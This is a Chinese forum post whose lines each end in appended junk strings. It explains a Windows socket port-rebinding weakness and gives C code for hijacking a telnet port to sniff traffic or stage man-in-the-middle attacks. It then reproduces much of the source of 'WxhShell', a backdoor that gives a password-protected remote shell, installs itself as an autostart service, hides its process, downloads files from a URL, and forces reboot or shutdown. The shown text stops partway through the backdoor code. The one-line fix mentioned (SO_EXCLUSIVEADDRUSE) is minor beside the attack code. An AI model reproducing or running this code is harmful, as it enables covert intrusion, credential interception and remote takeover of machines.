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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /-s-W<S[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q #IlUo  
~HBQQt  
  saddr.sin_family = AF_INET; P.aN4 9`=  
y!eT>4Oyg  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); zi%Ql|zI~  
/F@CrNFb(  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); OGcq]ue  
#|8Ia:=s  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6--t6>5  
C8Ja>o2'  
  这意味着什么?意味着可以进行如下的攻击: TsVU^Z%W  
wAD%1;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 lV".-:u_  
_59f.FsVR  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) TAB'oLNp  
sD#*W<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 D||)H  
?mwa6]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  u4x>gRz)  
vB<9M-sa0  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )sN}ClgJ  
iVT)V>Up  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 tJ$gH;  
`NySTd)\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 e1Q   
rHiBW!  
  #include ]$~\GE^  
  #include HjCe/J ;  
  #include >npTUOGL=n  
  #include    F1*xY%Jv^M  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4OeH}@a  
  int main() 7bk`u'0%  
  { =O%'qUj`q  
  WORD wVersionRequested; nT :n>ja  
  DWORD ret; p(>D5uN_}5  
  WSADATA wsaData; BdrYc^?JL]  
  BOOL val; ka/>jV"  
  SOCKADDR_IN saddr; J4%"38l  
  SOCKADDR_IN scaddr; ZZM;%i-B  
  int err; ]TVc 'G;  
  SOCKET s; #(}'G*  
  SOCKET sc; }Q a  
  int caddsize; '>cZ7:  
  HANDLE mt; > -,$  
  DWORD tid;   XTJA"y  
  wVersionRequested = MAKEWORD( 2, 2 ); <ivq}(%72  
  err = WSAStartup( wVersionRequested, &wsaData ); qnFg7X>C,  
  if ( err != 0 ) { _MW W  
  printf("error!WSAStartup failed!\n"); L8J] X7  
  return -1; Lb#PiTJI  
  } =6a=`3r!I  
  saddr.sin_family = AF_INET; Th X6e  
   !5 ?<QKOe  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &z05h<]  
JmC2buO  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); + B<7]\\M  
  saddr.sin_port = htons(23); {A~3/M%74;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `(r0+Qx  
  { 5 qMP u|A  
  printf("error!socket failed!\n"); =om<*\vsO  
  return -1; 1{Ik.O)  
  } WDI3*  
  val = TRUE; 7^;-[? l  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +7{8T{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @O/"s~d-  
  { `#:(F z  
  printf("error!setsockopt failed!\n"); GL _hRu  
  return -1; Z+=WICI/2  
  } {Y3:Y+2X3*  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; XqGa]/;}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )X3 |[4R  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 fZ(k"*\MZ  
e5D\m g)  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /]?e^akA  
  { y Ni3@f  
  ret=GetLastError(); /8 y v8  
  printf("error!bind failed!\n"); "EVf1iQ  
  return -1; pgW^hj\  
  } &UVqF o  
  listen(s,2); _0y]U];ce  
  while(1) *uSlp_;kB  
  { OnyAM{$g  
  caddsize = sizeof(scaddr); Xy}>O*  
  //接受连接请求 Rp!"c  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); W.59Al'  
  if(sc!=INVALID_SOCKET) #%pY,AK:=  
  { .J=QWfqt  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "Xl"H/3r  
  if(mt==NULL) k8i0`VY5Y  
  { WqS$C;]%  
  printf("Thread Creat Failed!\n"); ,Y16m{<eC  
  break; =iB$4d2  
  } hu7o J H  
  } BqpJvRJd  
  CloseHandle(mt); OB++5Wd  
  } p@h<u!rL8  
  closesocket(s); 9Z"WV5o  
  WSACleanup(); mRt/ d  
  return 0; oTr,zRL  
  }   ,|]k4F  
  DWORD WINAPI ClientThread(LPVOID lpParam) +Y2D @K?)  
  { gQ|?~hYYv  
  SOCKET ss = (SOCKET)lpParam; H_ NoW  
  SOCKET sc; -a l  
  unsigned char buf[4096]; _,? xc"  
  SOCKADDR_IN saddr; b8[ ayy  
  long num; uc\G)BN  
  DWORD val; eT?vZH[N  
  DWORD ret; Y1F%-o  
  //如果是隐藏端口应用的话,可以在此处加一些判断 4^9qs%&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   - /cf3  
  saddr.sin_family = AF_INET; 9JeT1\VvHY  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9H53H"5q  
  saddr.sin_port = htons(23); A+}O~,mxP8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?;Da%VS3  
  { F>?~4y,b7  
  printf("error!socket failed!\n"); _`Y%Y6O1/  
  return -1; e@ 5w?QzW  
  } H`yUSB IP  
  val = 100; FTzc,6  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sp_19u  
  { yNG|YB;  
  ret = GetLastError(); 0IHAoV60  
  return -1; \Hq=_}]F  
  } Fr<tk^~/  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .3wx}!:*|  
  { I9nm$,i]7  
  ret = GetLastError(); iszVM  
  return -1; WopA7J,  
  } mZ0_^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) '$4&q629d  
  { ty@D3l  
  printf("error!socket connect failed!\n"); &KV$x3  
  closesocket(sc); &#9HV  
  closesocket(ss); 61sEeM  
  return -1; YllW2g:  
  } %][zn$aa|  
  while(1) 1l^ `  
  { T:!H^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +O8}twt@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 > lI2r}  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 gEmsPk,  
  num = recv(ss,buf,4096,0); sqj8I"<`  
  if(num>0) P` Gb }]rW  
  send(sc,buf,num,0); 6kONuG7Yv  
  else if(num==0) 2Y;iqR  
  break; aCyn9Y$=  
  num = recv(sc,buf,4096,0); #?Ob->v  
  if(num>0) v5FfxDvw  
  send(ss,buf,num,0); J6nH|s8  
  else if(num==0) (%fSJCBl[P  
  break; @y|JIBBRc  
  } vJQ_mz  
  closesocket(ss); *N](Xtbj  
  closesocket(sc); 7!e kINQ  
  return 0 ; K~qKr<)  
  } A8ClkLC;I  
DRRy5+,I  
Zj)A%WTD,  
========================================================== xoQqku"vn  
& 5'cN  
下边附上一个代码,,WXhSHELL OjK+`D_C  
7V"Jfh4_  
========================================================== b^<7@tY  
hgdr\ F  
#include "stdafx.h" .0dx@Sbv  
Ft@ZK!'@  
#include <stdio.h> rWp+kV[Ec>  
#include <string.h> \obM}caT  
#include <windows.h> I.1(qbPkF+  
#include <winsock2.h> f%%'M.is  
#include <winsvc.h> 1+ V<-I@{  
#include <urlmon.h> De49!{\a  
8]JlYe  
#pragma comment (lib, "Ws2_32.lib") g7K<"Z {M  
#pragma comment (lib, "urlmon.lib") %:Zp7O2UB'  
V|;os  
#define MAX_USER   100 // 最大客户端连接数 wR9gx-bE 4  
#define BUF_SOCK   200 // sock buffer 92^Dn`g  
#define KEY_BUFF   255 // 输入 buffer M:%Ll3  
}vW3<|z  
#define REBOOT     0   // 重启 ^!K 8nW{*  
#define SHUTDOWN   1   // 关机 ~0L:c&V  
f/i[? gw  
#define DEF_PORT   5000 // 监听端口 z| zd=3c  
Kxsj_^&|i  
#define REG_LEN     16   // 注册表键长度 U5j0i]  
#define SVC_LEN     80   // NT服务名长度 v3]~*\!5  
;Y$d !an0  
// 从dll定义API ,fyqa  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0Pg@%>yb~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _/F}y[B7d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X+//$J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D 6F /9|  
ypY7uYO^"  
// wxhshell配置信息 Ap`D{u/  
struct WSCFG { *G,r:Bnb  
  int ws_port;         // 监听端口 lDG.\u  
  char ws_passstr[REG_LEN]; // 口令 pEiq;2{~Yn  
  int ws_autoins;       // 安装标记, 1=yes 0=no |bjLmGb  
  char ws_regname[REG_LEN]; // 注册表键名 jHc/ EZB  
  char ws_svcname[REG_LEN]; // 服务名 zfUkHL6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x_x|D|@wM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 lziC.Dpa  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 OC2%9Igx0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~;nW+S$o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ht%O9v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |( R[5q  
Td![Id  
}; q^b_'We_9  
BC1P3Sk 6X  
// default Wxhshell configuration ,9/s`o  
struct WSCFG wscfg={DEF_PORT, bqUQadDB  
    "xuhuanlingzhe", IV$2`)[A&X  
    1, H3q L&xL  
    "Wxhshell", PX,fg5s\b  
    "Wxhshell", x:IY6  l  
            "WxhShell Service", o`[X _  
    "Wrsky Windows CmdShell Service", 2)>Ty4*  
    "Please Input Your Password: ", lV2MRxI  
  1, 2N_9S?a3sK  
  "http://www.wrsky.com/wxhshell.exe", 1z=}`,?>  
  "Wxhshell.exe" gPWl#5P:  
    }; Hxd ^oE  
F6#U31Q=  
// 消息定义模块 SQx:`{O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n!y}p q6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [0hZg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lpeo^Y}N  
char *msg_ws_ext="\n\rExit."; l ~ /y  
char *msg_ws_end="\n\rQuit."; Q*AgFF%wn  
char *msg_ws_boot="\n\rReboot..."; JZrUl^8E  
char *msg_ws_poff="\n\rShutdown..."; +v'n[xa1v  
char *msg_ws_down="\n\rSave to "; u+uu?.bM  
TVFxEV7Fx  
char *msg_ws_err="\n\rErr!"; ' k[gxk|d2  
char *msg_ws_ok="\n\rOK!"; Q Ph6 p3bg  
ph=[|P)  
char ExeFile[MAX_PATH]; &,@wLy^ T  
int nUser = 0; ,@*`2I>`  
HANDLE handles[MAX_USER]; T89VSB~  
int OsIsNt; EM.rO/qcW  
_ a,XL<9I  
SERVICE_STATUS       serviceStatus; ZI#Xh5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; oJTsrc_ -  
6WnGP>tc.  
// 函数声明 k|T0Bly3P  
int Install(void); > jDx-H.N  
int Uninstall(void); 1 +'HKT}  
int DownloadFile(char *sURL, SOCKET wsh); Jv=G3=.  
int Boot(int flag); ^@..\X9  
void HideProc(void); 7oI^shk  
int GetOsVer(void); i<Be)Y-'  
int Wxhshell(SOCKET wsl); TID0x/j"K5  
void TalkWithClient(void *cs); kpN'H_ .  
int CmdShell(SOCKET sock); <=,KP)   
int StartFromService(void); 3M&75OE  
int StartWxhshell(LPSTR lpCmdLine); +(<}`!9M*  
K06/ D!RD4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dO[w3\~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); kY6))9 O  
/aB9pD+%  
// 数据结构和表定义 %C[ ;&  
SERVICE_TABLE_ENTRY DispatchTable[] = OAQ'/{~7  
{ 3It'!R8$  
{wscfg.ws_svcname, NTServiceMain}, r8~U@$BBK  
{NULL, NULL} S&P5##.u`  
}; b#C"rTw  
N7xkkAS{  
// 自我安装 %j=,c{`Q  
int Install(void) Do|`wpR  
{ U)p P^:|  
  char svExeFile[MAX_PATH]; o;JBe"1  
  HKEY key; _dEf@==  
  strcpy(svExeFile,ExeFile); |JL47FR  
\(LHcvbb  
// 如果是win9x系统,修改注册表设为自启动 G?/1 F1  
if(!OsIsNt) { [J+K4o8L<A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }r /L 9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .n`MPx'  
  RegCloseKey(key); OX4+1@$tk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N3H!ptn37  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ls6ywLP{  
  RegCloseKey(key); 8L 9;VY^Y  
  return 0; o=_4v ^  
    } 4f"a/(>*  
  } /kVy#sT|  
} ,9"</\]`  
else { r/L3j0  
"O|fX\}5  
// 如果是NT以上系统,安装为系统服务 1)NX;CN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M42D5|tZc  
if (schSCManager!=0) H$ xSl1>E  
{ Af0E_  
  SC_HANDLE schService = CreateService 4aB`wA^x  
  ( Ye!=  
  schSCManager, $Y aL3n  
  wscfg.ws_svcname, ce=6EYl  
  wscfg.ws_svcdisp, '7'cKp  
  SERVICE_ALL_ACCESS, Z/uRz]Hi  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :yk Z7X&  
  SERVICE_AUTO_START, %_SE$>v^  
  SERVICE_ERROR_NORMAL, HA"dw2 |  
  svExeFile, [dU/;Sk5  
  NULL, " Jnq~7]  
  NULL, rmQGzQnun  
  NULL, rT}d<c Sf  
  NULL, -3_kS/  
  NULL HNjkRl)QR  
  ); ^Z:x poz,  
  if (schService!=0) "hlIGJ?_=  
  { tfv]AC7x  
  CloseServiceHandle(schService); 053W2Si   
  CloseServiceHandle(schSCManager); 6/#= dv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4qm5`o\hb  
  strcat(svExeFile,wscfg.ws_svcname); Y?%6af+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v@t*iDa?7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @Qc['V)  
  RegCloseKey(key); &aF_y_f\  
  return 0; /{kyjf[o&*  
    } BxZop.zwE(  
  } ;_Rx|~!!  
  CloseServiceHandle(schSCManager); nM0nQ{6  
} hU=J^Gi0  
} BgpJ;D+N4  
Bgs~1E@8V  
return 1; dU&.gFw1  
} #JLDj(a?  
ZXU e4@qfl  
// 自我卸载 ?Y hua9  
int Uninstall(void) nO|S+S_9  
{ ~y|%D;  
  HKEY key; M3t_!HP}!  
rf`Br\g8  
if(!OsIsNt) { n~)Y%xe[U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +pcj8K%  
  RegDeleteValue(key,wscfg.ws_regname); \ qs6%  
  RegCloseKey(key); Iiy:<c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y1 }d(%  
  RegDeleteValue(key,wscfg.ws_regname); x1}q!)e  
  RegCloseKey(key); =6W:O  
  return 0; )>Lsj1qk  
  } +I Ze`M%n  
} :,ym)|YV  
} Bs1-UI}+  
else { RV$+g.4  
&iGl)dDr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ov<3?)ok  
if (schSCManager!=0) .gPsJ?b  
{ |v1 K@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4vX]c  
  if (schService!=0) P5d@-l%}  
  { {&<}*4D  
  if(DeleteService(schService)!=0) { qA~D*=  
  CloseServiceHandle(schService); O)5PUyC:H  
  CloseServiceHandle(schSCManager); F d\XDc[g  
  return 0; !:n),sFv45  
  } XOeh![eMX  
  CloseServiceHandle(schService); b #^aM  
  } ( Lu.^  
  CloseServiceHandle(schSCManager); D}061~zb$  
} bMUIe\/v[  
} dikWk  
p;7 4 +q  
return 1; |O)deiJRy  
} _eQ P0N  
<?zTnue  
// 从指定url下载文件 .#:,j1L"53  
int DownloadFile(char *sURL, SOCKET wsh) kdUGmR0d  
{ E&>,B81  
  HRESULT hr; )PG,K 4z  
char seps[]= "/"; PD}R7[".>  
char *token; NqZRS>60v  
char *file; ,Mhe:^3  
char myURL[MAX_PATH]; +_g T|vlU  
char myFILE[MAX_PATH]; @*DIB+K  
{a3kn\6H0  
strcpy(myURL,sURL); NVj J/  
  token=strtok(myURL,seps); [Kj:~~`T   
  while(token!=NULL) Vf?#W,5>=  
  { Jrk^J6aa  
    file=token; L, {rMLM%  
  token=strtok(NULL,seps); B (1,Rq[  
  } vaj66nV  
Xo@YTol  
GetCurrentDirectory(MAX_PATH,myFILE); Q@2tT&eL  
strcat(myFILE, "\\"); ~}5Ml_J$,l  
strcat(myFILE, file); t%U[\\ic  
  send(wsh,myFILE,strlen(myFILE),0); VWshFI  
send(wsh,"...",3,0); Is@a,k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z% ;4Ed  
  if(hr==S_OK) Uxemlp%%*  
return 0; ]|N4 #4  
else {F :v$ K  
return 1; -L9R&r#_e  
^V}R(gDu}s  
} Tq84Fn!HJ>  
\5P.C  
// 系统电源模块 <} yp  
int Boot(int flag) yb{Q,Dz  
{ ?4ILl>*  
  HANDLE hToken; VxN64;|=  
  TOKEN_PRIVILEGES tkp; 5!ubY 6Ph  
bV`C;RPn  
  if(OsIsNt) { h)_Gxe"x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b;L>%;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WkaR{{nM  
    tkp.PrivilegeCount = 1; naI v=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !&`\ LJ=j  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +oy&OKCa  
if(flag==REBOOT) { "PyWo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'yd@GQM&  
  return 0; PDIclIMS'F  
} (.1 rtj  
else { GzFE%< 9F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /u)Rppu  
  return 0; sc8DY!|OYN  
} kwHqvO!G  
  } N\q)LM !M  
  else { i7nL_N  
if(flag==REBOOT) { h.V]fS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f>r3$WKj  
  return 0; fYhR#FVI  
} 9&%#nN4`8  
else { Ud#X@xK<h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Cqgk  
  return 0; U,<]J*b(@4  
} l RDxIuTK  
} S= -M3fP~  
\2Og>{"U  
return 1; {y-2  
} 8?7kIin  
-|}%~0)/bH  
// win9x进程隐藏模块 X0WNpt&h  
void HideProc(void) %X4-a%512  
{ 'j,oIqx  
>?5xDbRj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b]*X<,p  
  if ( hKernel != NULL ) CV&zi6  
  { 9 g Bjxqm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Wp5]Uk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); FaFp_P?  
    FreeLibrary(hKernel); l"J*)P  
  } `c"4PU^  
(=1q!c`  
return; o]Wz6 L  
} )O3jQ_q=  
lC#RNjDp/~  
// 获取操作系统版本 ( 0i'Nb"  
int GetOsVer(void) 9Ct_$.Q .  
{ Ly9Q}dL  
  OSVERSIONINFO winfo; lhqQ CV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Lt1U+o[ot  
  GetVersionEx(&winfo); =fl%8"%N&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) eZg$AOpU  
  return 1; 90~*dNk  
  else naz:A  
  return 0; .APVjqG  
} *z0K%@M  
&p5&=zV}  
// 客户端句柄模块 3bH~';<  
int Wxhshell(SOCKET wsl) fk>l{W}e)  
{ {h#6z>p"u2  
  SOCKET wsh; 0[/vQ+O]2  
  struct sockaddr_in client; 9e~WK720=  
  DWORD myID; nfX12y_SXL  
tBseqS3<  
  while(nUser<MAX_USER) &5u BNpH  
{ _gKu8$o=-  
  int nSize=sizeof(client); ]:&n-&@L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {I{3(M#"  
  if(wsh==INVALID_SOCKET) return 1; /xySwSmh3  
xO7Yt l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HA!t$[_Ve  
if(handles[nUser]==0) ==N` !+  
  closesocket(wsh); xW>ySEf  
else =EW3&+Lt  
  nUser++; |5,<jyp  
  } T~X41d\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Vclr2]eV4O  
'T7x@a`b)  
  return 0; ]#zZWg zv  
} Vl<9=f7[  
Jx$iwu  
// 关闭 socket B'}"AC"  
void CloseIt(SOCKET wsh) 0|XKd24BN  
{ h*Je35  
closesocket(wsh); \iru7'S  
nUser--; 6Y1J2n"  
ExitThread(0); zA s&%OjG  
} IU#x[P!  
Qz+sT6js-  
// 客户端请求句柄 #Qh>z%Mn^3  
void TalkWithClient(void *cs) & Kmy}q  
{ ,Ff n)+  
tnb$sulc+  
  SOCKET wsh=(SOCKET)cs; UTCzHh1  
  char pwd[SVC_LEN]; _BS 9GB  
  char cmd[KEY_BUFF]; gnLn7?  
char chr[1]; Hi7y(h?wj  
int i,j; oM,- VUr  
Izo!rC  
  while (nUser < MAX_USER) { Z\? E3j  
dMvp&M\\'  
if(wscfg.ws_passstr) { U O<:.6"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pSfYu=#f  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m"d/b~q  
  //ZeroMemory(pwd,KEY_BUFF); 2) ?q 58  
      i=0; mR+Jws'  
  while(i<SVC_LEN) { v`DI<Lt  
:243H  
  // 设置超时 mfom=-q3k  
  fd_set FdRead; t6lE#<xZV;  
  struct timeval TimeOut; UE :HMn6  
  FD_ZERO(&FdRead); 4w$_ ]ke  
  FD_SET(wsh,&FdRead); '6-$Xq0^E  
  TimeOut.tv_sec=8; {f DTSr?/  
  TimeOut.tv_usec=0; N|:'XwL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  L}%dCe  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u[oUCTY  
%Mn.e a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6bO~/mpWT~  
  pwd=chr[0]; 60}! LmL  
  if(chr[0]==0xd || chr[0]==0xa) { +K~NV?c  
  pwd=0; E167=BD9<  
  break; aFj.i8+  
  } 06 mlj6hV  
  i++; r&3pM2Da}  
    } \7v)iG|#G&  
E JK0  
  // 如果是非法用户,关闭 socket _. V?A*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); oPQtGl p  
} \3XqHf3|o  
)3A{GZj#6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +T{'V^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4QHS{tj  
/JJw 6[ N  
while(1) { _5Bcwa/  
,IHb+K  
  ZeroMemory(cmd,KEY_BUFF); !Ng=Yk>3  
w#y0atsg'  
      // 自动支持客户端 telnet标准   R^#@lI~  
  j=0; [bz T& o  
  while(j<KEY_BUFF) { `~BZ1)@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'lz "2@4{  
  cmd[j]=chr[0]; Orn0Zpp<z  
  if(chr[0]==0xa || chr[0]==0xd) { vGy8Qu>  
  cmd[j]=0; g" VMeW^  
  break; <Zb/  
  } 9!',b>C6  
  j++; ,:2'YB  
    } YwEpy(}hJm  
<UP m=Hb  
  // 下载文件 \nNXxTxX!  
  if(strstr(cmd,"http://")) { [Nm4sI11  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2}6%qgnT-  
  if(DownloadFile(cmd,wsh)) 56lCwXCgA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -fI`3#  
  else =W bOwI)u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d[^KL;b?6  
  } N?Q+ >  
  else { c,MOv7{x_  
BXms;[  
    switch(cmd[0]) { `:8J46or  
  !^#jwRpeN  
  // 帮助 f 3V Dv9(  
  case '?': { d_UN0YT<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AN:sQX`  
    break; @}p2aV59  
  } !)"%),>}o  
  // 安装 94uN I8  
  case 'i': { Xazo 9J  
    if(Install()) bK"SKV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hd\gH^wk  
    else :K`ESq!8u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,j;m!V  
    break; \6n!3FLl  
    } oBQ#eW aY  
  // 卸载 omO S=d!o  
  case 'r': { <9E0iz+j  
    if(Uninstall()) ? &G`{Ey  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]wT 7*( Y  
    else LZJA4?C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cMyiW$;  
    break; 4a0:2 kIKa  
    } ,g-EW jN  
  // 显示 wxhshell 所在路径 X'.qYsS  
  case 'p': { F|Mi{5G%  
    char svExeFile[MAX_PATH]; /kL $4CA  
    strcpy(svExeFile,"\n\r"); ]-oJ[5cQ0v  
      strcat(svExeFile,ExeFile); IEKU-k7}Z  
        send(wsh,svExeFile,strlen(svExeFile),0); 0q>P~] Ow  
    break; 8h3=b[  
    } 7^wc)E^H  
  // 重启 NaVQ9ku7VW  
  case 'b': { +4[^!q* H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /{wJEuE  
    if(Boot(REBOOT)) F:*W5xX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w%WF-:u7|  
    else { ju}fL<<e  
    closesocket(wsh); M02uO`Y9  
    ExitThread(0); ,jXM3?>B  
    } ]k9)G*  
    break; SH*C"  
    } L28*1]\Jh  
  // 关机 p$ bnK]  
